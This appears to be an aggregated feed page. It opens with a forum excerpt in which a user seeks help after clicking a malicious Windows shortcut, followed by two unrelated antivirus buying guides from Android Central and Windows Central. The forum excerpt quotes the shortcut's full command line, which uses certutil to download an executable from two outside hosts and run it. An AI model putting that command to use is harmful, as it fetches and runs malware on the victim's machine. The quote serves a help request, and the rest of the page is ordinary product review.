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.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputer.Lnk file with cmd usage - Virus, Trojan, Spyware, and Malware Removal Help - BleepingComputerPosted: 06 Jul 2020 11:33 AM PDT Hi all,Looking for feedback on the likelihood my double clicking of a bad .lnk file caused damage.. When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H! (!V4adKK47!izub.fun!V4!||!V4adKK47!de.charineziv.com!V4!&!H!))>nul 2>&1The .lnk file 'start-in' was:"%APPDATA%\Mic…

Best Antivirus Software in 2020: Top 7 free and paid options - Android Central

Best Antivirus Software in 2020: Top 7 free and paid options - Android Central


Best Antivirus Software in 2020: Top 7 free and paid options - Android Central

Posted: 14 Apr 2020 05:18 AM PDT

refurbished dell computer

Source: Android Central

Best Antivirus Software in 2020: Top 7 free and paid options Android Central 2020

Here are seven of the great antivirus solutions currently available. Bitdefender Antivirus Plus gets my top vote this year, but I've thoroughly tested and have no problems recommending each of these programs. The first time I tested the software five years ago, I was very impressed with how fast Bitdefender recognized malware and stopped it before it even had the chance to start downloading. Plus, rather than automatically placing them in quarantine, Bitdefender completely removes most threats from your system the moment they are recognized.

Best Overall: Bitdefender Antivirus Plus

Bitdefender Antivirus Plus

Source: Nicole Johnston/ Android Central

Bitdefender consistently earns high, or perfect, scores for malware protection from several third-party test labs and in my own tests. It stops Trojans, rootkits, ransomware, and worms, and with the safe browser extension enabled, it'll stop these threats from entering your computer through the internet. Bitdefender also recognizes phishing schemes and will warn you of them. With safe browsing enabled, it'll also tag search results as safe to click through or not. When I tested Bitdefender, it recognized websites known to harbor malicious files and links and would block the entire website from being accessed.

Even though Antivirus Plus is Bitdefender's basic solution, it still comes with a password manager, secure file shredder, and social network protections that keep an eye on activity on social media pages, letting you know if there is a malicious link that's been shared. Antivirus Plus also has a vulnerability scanner that looks for weak points in your entire system and helps you secure these against hackers and ransomware. Some of these vulnerabilities include corrupted drives and outdated software programs. Bitdefender gives you safe links where you can download patches and new versions of software, so you don't need to guess if links found online are legitimate or not.

The biggest tool not included with Bitdefender Antivirus Plus is a personal firewall. While your operating system likely comes with one, I've seen during testing that having a second layer of protection is vital. There are too many threats that make their way through standard firewalls and those included with antivirus software just do an overall better job. Bitdefender's higher-tiered program, Bitdefender Total Security, does include a firewall, along with parental controls and a device optimizer.

The other setback of Bitdefender is how long it takes to complete scans, both vulnerability and virus scans. Where other programs take a few minutes, it's not uncommon for Bitdefender to take up to 40 minutes for some scans, 50-80% longer than most other antivirus software.

Pros:

  • Real-time protection
  • Automatic removal of threats
  • Social media protections
  • Safe browsing extension

Cons:

  • Long scans
  • No firewall

Best Overall

Bitdefender Antivirus Plus

Stopping attacks before they happen

Bitdefender stops malware before it has a chance to download and immediately scrubs it from your device.

Another Good Option: Kaspersky Total Security

Kaspersky Browser Extension Block Site

Source: Nicole Johnston/ Android Central

Kaspersky Total Security is the program I have installed on my personal computer. It is so lightweight that I hardly remember I have it running in the background, and the protection I get is near perfect. I confidently browse the web and download files because I know if there is anything dangerous, Kaspersky will block the download or warn me to not continue. If something does get through, Kaspersky gathers it up and removes it from my system before it has a chance to infect it.

One tool Kaspersky has that the other antivirus programs don't is a virtual keyboard. When active, this allows you to type anything and have it guarded against keyloggers, trackers, and snoops. If you type into a search bar, the information isn't recorded and if you use this virtual keyboard when entering in login information or credit card numbers, these, too, will be shielded.

I'm also impressed with Kaspersky's parental controls for both computers and mobile devices. I can lock down devices remotely, block websites and apps, and set time limits for when my children can and can't be online. I can also decide how many hours a day they can be online and when that limit is up, Kaspersky is the bad guy and blocks internet access on any device. Kaspersky Total Protection also includes an encrypted vault to secure files from ransomware and a firewall that keeps an eye on your internet connection and safe browsing that warns of dangerous websites and phishing schemes.

Many are uneasy to trust Kaspersky because of accusations that it used its antivirus programs to gather classified information from U.S. government agencies and their workers' devices then funneled this information to the Russian government. While the U.S. government no longer uses Kaspersky security programs on its computers, it is safe for consumers to use. In a move to show good faith, Kaspersky moved all operations out of Russia and into other countries, including the U.K., U.S., and Turkey, where they are subject to privacy laws and third-party inspections.

Pros:

  • Virtual keyboard
  • Parental controls
  • High malware protections scores
  • FIrewall included

Cons:

  • Not recommended for government employees

Another Good Option

Kaspersky Total Security

Quietly keeping guard for malware

Kaspersky works quickly to stop malware and doesn't use a lot of resources so you don't experience any slowdown.

Best Basic Antivirus: VIPRE Advanced Security

Vipre Advanced Security

Source: Nicole Johnston/ Android Central

For a basic antivirus program that doesn't use a lot of resources, or overwhelm with too many extra features, I recommend VIPRE. This program does a great job stopping malicious files during the download process and quarantining the threat before it has a chance to infect your computer. VIPRE also monitors your emails and will quarantine messages it suspects has malicious links or attachments. This allows you to open the messages in a safe environment then decide to either keep or toss it.

Another reason I'm impressed with VIPRE is that it includes a firewall. This is the single most important tool after malware protection that should be included as part of your overall system security. VIPRE's firewall watches your internet connection and all the communications coming in and going out. This is an excellent way to keep hackers and other snoops from sneaking in, especially on public Wi-Fi that is less secure than home or work networks.

Because it is so basic, VIPRE doesn't use a lot of your resources. While testing VIPRE, I could easily keep surfing the web, watching online videos, playing games, downloading files and sending emails without any noticeable slowdown.

VIPRE does require a little bit of learning to get the hang of navigating its dashboard. It isn't laid out like most other solutions, and some tools are difficult to locate. However, everything you need to enable can be done from the dashboard, including enabling safe browser extensions.

Pros:

  • Dependable malware protection
  • Includes a firewall
  • Doesn't create slowdown

Cons:

  • No advanced tools
  • Takes time to learn

Best Basic Antivirus

VIPRE Advanced Security

No frills, but powerful protection

VIPRE doesn't come with a lot, but protections against threats nearly perfectly and includes a vital firewall.

Best Free Antivirus: Avast Free Antivirus

Avast Free Antivirus 2020 Scanning

Source: Nicole Johnston/ Android Central

Several antivirus programs offer free solutions, but Avast is by far the best in this area. Avast Free Antivirus is chalked full of extra features, like a password manager and home network security. It even includes a VPN to hide your online identity from adware and trackers. Avast's dashboard is easy to navigate and it doesn't take long to figure out where each tool is and how to set them to your personal preferences.

My favorite feature of Avast, and the reason it's installed on some of my children's devices, is its automatic gamer mode. This tool recognizes when you visit an online gaming site and automatically redirects some resources away from non-critical functions so you can play without experiencing slowdown or being interrupted by popup notifications. Avast will still keep an eye on your computer and stop threats, and it will notify you if you attempt to download a game or visit a dangerous website.

While testing Avast, I observed that this program waits until malicious files are nearly downloaded before snatching the threat and quarantining it. This is different from Bitdefender and Kaspersky that doesn't allow the download process to even start, but it is still very efficient at blocking threats from attacking. In fact, Avast earns above-average scores for malware protection in both my book and from other third-party labs.

Because it is a free program, Avast does have several pop-up ads that will get in the way each time you start your computer, open the dashboard and a few times in between. The only ways to avoid these ads are to either enable the gamer mode or purchase a paid program from Avast. Avast's Premium Security is just as good at stopping malware from infecting your computers, but also extends this protection to other devices connected to your home network, including smart TVs, game consoles and even your internet router. Premium Security also includes webcam monitoring.

Pros:

  • Free
  • Automatic gaming mode
  • Built-in VPN
  • Extra features like a password manager

Best Free Antivirus

Avast Free Antivirus

Top protection for free

Avast's free antivirus program not only stops malware threats but also includes a VPN and network security.

Best with a VPN: McAfee Total Security

Mcafee Total Protection

Source: Nicole Johnston/ Android Central

McAfee has worked hard over the last several years to overcome some big setbacks. For many years it wasn't known as a great program. It used a ton of resources that created frustrating lag. Now McAfee is so good it often finds itself in the top spot as one of the best, most efficient antivirus solutions. The last couple of years testing McAfee I've seen McAfee earn perfect, or near-perfect, scores for malware protection every time. While it does create some slowdown, it isn't enough to interfere with most functions. There is noticeably more slowdown when installed on mobile devices compared to PC or Mac computers.

Everything you need to secure you and your family's devices is included with this program, including encrypted online storage and protections for cryptocurrency accounts. This antivirus program has a secured VPN that blocks your online identity, so it's more difficult for your online activities to be traced or for your digital identity stolen. It also includes a firewall and a system scanner that looks for vulnerabilities and ways to optimize your system so it works faster.

McAfee Total Protection has a lot of tools that are helpful for families. The webcam monitoring ensures no person or program taps into your computer without permission. It also has great parental controls with content filters to make it easy to block inappropriate content. You can also set time controls that will boot your child off the internet after their screen time is up, or during important times of the day like dinner time or when kids should be asleep

Pros:

  • Included VPN
  • Parental controls
  • Webcam monitoring
  • Protections for cryptocurrency accounts
  • Included firewall

Cons:

  • Slowdown on some devices

Best with a VPN

McAfee Total Security

Providing increased online security

McAfee stops malware threats, but also shields your online identity and blocks adware with its powerful VPN.

Best with ID Protection: Norton 360 with LifeLock

Norton Antivirus

Source: Nicole Johnston/ Android Central

Norton has been a staple in the antivirus industry for a very long time, so it isn't a surprise it's listed among the best antivirus solutions. What makes Norton 360 invaluable is its partnership with LifeLock to help protect your identity. LifeLock keeps an eye on black markets and alerts you if your email address, birthdate, social security number, or even online account login credentials are illegally sold. It also looks at places not commonly associated with identity theft, such as medical and criminal records. If your identity is stolen, LifeLock will help you recover your identity including helping you contact the IRS and credit reporting agencies,

Norton 360 has safe browsing tools that tag malicious sites known to have links and phishing schemes hidden on them. Even after a site is taken down, visiting the URL sometimes will still trigger a malicious file to download. Norton is one of the few antivirus programs I tested that catches these threats.

This antivirus software comes with a VPN to help hide your online identity, including your devices' IP address and location. This cuts down on targeted ads because it shields you from adware and tracers. Norton also has special banking tools to ensure your personal and financial information is extra secure as you bank and shop online. For example, login credentials and credit card information are shielded from keyloggers.

The biggest reason I don't use Norton is that it caused a very noticeable slowdown on all the personal devices I downloaded it to. This didn't happen during lab tests where there weren't as many programs or apps installed, but on home computers and cell phones, the drag was painfully slow.

Pros:

  • LifeLock ID protection
  • Excellent malware protection
  • Safe banking tools
  • Included VPN

Cons:

  • Noticeable slowdown on all devices
  • Expensive

Best with ID Protection

Norton 360 with LifeLock

Keeps an eye on the dark web

In partnership with LifeLock, Norton helps keep your personal and digital identity off the black market.

Best for Banking: Trend Micro Antivirus + Security

Trend Micro Antivirus Scan

Source: Nicole Johnston/ Android Central

Trend Micro feels like a heavy program from the get-go and is the one program I found difficult to figure out how to use. However, once it was installed and the tools were located, Trend Micro proved to be a very good antivirus solution. This is the one program, through all my years of testing antivirus software, that has scored 100% each time in my tests. While it does create slowdown, it isn't enough for me to not add to my list of the best antivirus software.

This antivirus program has web reputation technology, so it picks up immediately if you are on a legitimate or fake website. If you click a link that is meant to redirect you to a site made to look like a legitimate one, Trend Micro will block it and warn you of its malicious intent. Trend Micro is also very good at recognizing phishing schemes and dangerous websites.

One of the best tools here is its Pay Guard. This is specifically designed to protect your personal, financial and account information while you bank and shop online. Pay Guard stores your credit card and bank account numbers in a secured vault so you don't have to pull out and enter this information during check out. But Pay Guard puts extra protections around your browser so this information can't be captured or stolen.

Pros:

  • Perfect protection scores
  • Pay Guard
  • Web reputation technology

Cons:

  • Difficult to set up
  • Creates noticeable drag

Best for Banking

Trend Micro Antivirus + Security

Extra precautions while shopping and banking

Trend Micro has the best security when it comes to protecting online transactions with Pay Guard.

Here's why Bitdefender is the best

Overall Bitdefender Antivirus Plus is the best program because of how quickly and thoroughly it blocks malware. It stops malicious files from even starting the download process, marks dangerous websites, blocks phishing schemes, and comes with several extra security tools like a VPN and social media protections that warn of malware links and downloads posted to social media pages.

Bitdefender is also a good value, giving you several user licenses for around the same cost of one from other antivirus programs. It also works on several different devices so you can use a single program to secure computers and cell phones. Bitdefender's basic antivirus program doesn't come with a firewall, and all its virus scans take a long time to complete. However, because this program doesn't guzzle resources, you can still work on your device during scans without experiencing a slowdown.

Antivirus and data sharing

Kaspersky Marketing Data Sharing Program

Source: Nicole Johnston/ Android Central

Avast recently admitted to capturing and sharing, or even selling, user information with its partners and other consumer companies. While this doesn't sit well with most people, especially coming from a company that is supposed to secure your information, Avast isn't the only company doing this. In fact, every antivirus program, whether it's on PC, Mac, or a mobile device, asks as part of its initial installation and setup process for permission to collect your data and participate in some sort of data sharing program.

The biggest reason for data collection through antivirus programs is to collect information on new and emerging viruses. This information is used to stop new threats that haven't been identified and cataloged in malware databases so they can be stopped quickly before they can infect more computers. This is a vital part of keeping malicious threats, especially ransomware, from getting out of hand. It also helps antivirus programs "learn" common behaviors so they can stop new threats, also known as zero-day threats before they can infect a computer. If everyone opted out of data sharing, it wouldn't take long for malware to run rampant.

Another reason for data collecting is for research purposes. The antivirus industry is pretty competitive with several, very good solutions. As antivirus software collects information about its users, it can create better versions that better fit and serve consumers. Unfortunately, there will always be companies that sell this information for profit. The good thing with antivirus programs, is you do have the option to not participate.

Credits — The team that worked on this guide

Nicole Johnston writes for multiple Future Publishing brands, including Android Central, covering primarily internet security and privacy programs. She has over 13 years of research and writing experience in both the public and private sector, including seven years of testing and reviewing consumer products and five evaluating antivirus software, parental controls, VPNs and identity theft services. Nicole is mom to 10 kids.

We may earn a commission for purchases using our links. Learn more.

Best Antivirus for PC Gaming in 2020 - Windows Central

Posted: 09 Apr 2020 02:00 AM PDT

LG gaming monitor.

Source: LG

Best Antivirus for PC Gaming Windows Central 2020

Gaming PCs are some of the most powerful systems out there, but GPU horsepower and processor clock speeds won't matter at all if a virus infects your computer and prevents it from working properly. Therefore, dedicated antivirus software is something every PC gamer should opt to install, as it will effectively shield your PC from dangerous forms of malware and spyware. However, since you want most of your system's RAM to be used for gaming purposes, it's essential to choose an antivirus software that takes up as little memory as possible while active. Among these softwares, our favorite is BullGuard Antivirus 2020. Between its comprehensive security systems, small resource demands, and additional Game Booster feature, BullGuard is the best overall option for PC gamers.

Best Overall: BullGuard Antivirus 2020

BullGuard

Source: BullGuard

The best overall gamer-friendly antivirus software on the market is BullGuard. Its next-gen security systems utilize machine learning to adapt to and protect against dangerous softwares, and it also comes with a ton of different options for user customization. These include parental controls that can be used to restrict websites or limit usage time, the ability to open certain firewall ports if desired, update scheduling, system scan planning, and much more. The icing on the cake is the Game Booster program within the software that closes, reduces, or suppresses background programs while gaming, allowing your system to prioritize in-game performance fully. All of this sounds like it would result in BullGuard being RAM-hungry, but in truth, it has a low memory usage footprint. If you want, you can also protect multiple devices for only a minor upcharge, meaning that BullGuard is also an excellent choice if you're getting antivirus for every computer in the house. A multi-device plan also includes identity theft protection and a secure browser so that it might be worth it to you.

Pros:

  • Powerful security
  • Plenty of options and features
  • Game Booster program

Cons:

  • A little expensive

Best Overall

BullGuard Antivirus 2020

A beast of an antivirus

BullGuard offers strong and balanced antivirus protection that's not too expensive and offers game performance-boosting, making it our top pick.

Best Runner-Up: Norton Antivirus Plus

Norton Antivirus Plus

Source: Norton

Norton Antivirus Plus is essentially a slightly less expensive version of BullGuard that doesn't include a dedicated Game Booster program. Like BullGuard, Norton's software comes with plenty of different options that you can tweak, and it also doesn't use much of your system's RAM, which is essential. While it does lack a Game Booster, Norton's Quiet and Silent settings will prevent pop-up notifications from other programs from interrupting your gameplay. As with BullGuard, you can protect more than one device by paying a little more. These options also give you a VPN and identity protection.

Pros:

  • Powerful security
  • Plenty of options and features
  • Less expensive

Cons:

  • No Game Booster

Best Runner-Up

Norton Antivirus Plus

Second place is still incredible

Norton's antivirus offering lacks a Game Booster, but otherwise offers everything that BullGuard's does, making it our favorite runner-up.

Best Heavyweight: Kaspersky Antivirus 2020

Kaspersky Antivirus 2020

Source: Kaspersky

If you're looking for an elite antivirus that performs superbly while still not having a harmful impact on your system's gaming performance, Kaspersky's software will be your ideal pick. Out of all of the options on this list, Kaspersky Antivirus offers the most robust and consistent security while also including lots of bonus customization options. As a result, though, it uses considerably more RAM than the other options do, although the impact on game performance is hardly much of an issue. The price is also as expensive as BullGuard, so I only recommend Kaspersky if you want the most elite protection available.

Pros:

  • Best security
  • Plenty of options and features

Cons:

  • A little expensive
  • Uses considerably more RAM

Best Heavyweight

Kaspersky Antivirus 2020

This one means business

Kaspersky's antivirus is a little pricey and uses more RAM than other choices on the list, but its elite and robust security may be worth it for some.

Best Lightweight: Webroot SecureAnywhere

Webroot SecureAnywhere

Source: Webroot

People who want to keep RAM usage as low as possible should opt for Webroot SecureAnywhere. Most of its systems operate in the cloud, which helps minimize RAM usage substantially, and the level of protection it offers is still excellent, albeit not as good as something like Kaspersky or BullGuard. Also, it has less overall options and features compared to other options. Nevertheless, it's an excellent pick for folks who want to preserve as much of their memory as they possibly can for gaming. You can get access to protection for several devices for the same price that other softwares charge for just one device, too, which is excellent.

Pros:

  • Great security
  • Lowest RAM usage
  • Less expensive

Cons:

  • Not as robust as other choices in terms of customization
  • Security isn't as amazing

Best Lightweight

Webroot SecureAnywhere

You won't even notice it's running

Webroot's cloud-based antivirus isn't as robust as other choices, but it also has a minuscule impact on system performance.

Best Mutli-Device: Bitdefender Antivirus Plus

Bitdefender Antivirus Plus

Source: Bitdefender

If you're after protection for multiple different devices, there's not a better option than Bitdefender. It offers roughly the same level as security as Norton and BullGuard. While it does have fewer overall options to customize and also uses more RAM than something like Webroot SecureAnywhere, it does provide users with the most affordable way to get protection for several devices. The base subscription matches the price of Webroot's and covers three devices, while the upgraded version of the software, Bitdefender Total Security, is less expensive than the plans offered by the competition. It's also worth noting that Bitdefender Total Security can be used with Android and iOS mobile devices as well as computers.

Pros:

  • Powerful security
  • Less expensive
  • Upgraded version works on mobile devices

Cons:

  • Not as robust as other choices in terms of customization

Best Multi-Device

Bitdefender Antivirus Plus

Keep everything covered

Bitdefender's strong protection and affordable multi-device plans make it ideal for folks who want to prioritize keeping several devices covered at once.

Affordable Game Booster: McAfee Gamer Security

McAfee

Source: McAfee

McAfee Gamer Security is McAfee's gaming-focused antivirus, and it offers excellent overall protection along with a very effective Game Booster program. There aren't as many options to customize as other choices on the list, and the security isn't as efficient or effective as Kaspersky or BullGuard — it's about on par with Webroot. However, the tradeoff is that the price is considerably lower than BullGuard, and you end up still getting a performance-enhancing Game Booster. Overall, this is the option you should go with if you don't mind sacrificing some protection quality to get your hands on a less expensive Game Booster.

Pros:

  • Great security
  • Less expensive
  • Game Booster program

Cons:

  • Not as robust as other choices in terms of customization
  • Security isn't as amazing

Affordable Game Booster

McAfee Gamer Security

Game Booster FTW

McAfee Gamer Security is the most affordable way to get access to an effective Game Booster through an antivirus software, though it isn't as protective as other options.

Bottom line

Every PC gamer needs a good antivirus software, as none of your gaming horsepower will ultimately get a chance to shine if your system falls prey to predatory malware and spyware. Ideally, for a gaming PC, you'll want to opt for an antivirus that uses a small amount of RAM so that your computer can allocate most of your memory to your games.

When it comes to gaming-friendly antivirus softwares, there are a lot of different options available, and each one has something unique to offer. Out of all of them, we think that BullGuard Antivirus 2020 is the best one due to its powerful security systems, low RAM usage, and competent Game Booster program. You'll have to pay a little extra for it, but at the end of the day, the quality and versatility of BullGuard speaks for itself.

Credits — The team that worked on this guide

Brendan Lowry is a Windows Central writer with a burning passion for video games, of which he's been an avid fan since childhood. He's relatively new to the writing scene, but he counters that lack of experience with a rock-solid work ethic and a desire to improve at every opportunity. You'll find him doing reviews, editorials, and general coverage on everything Xbox and PC. Follow him on Twitter.

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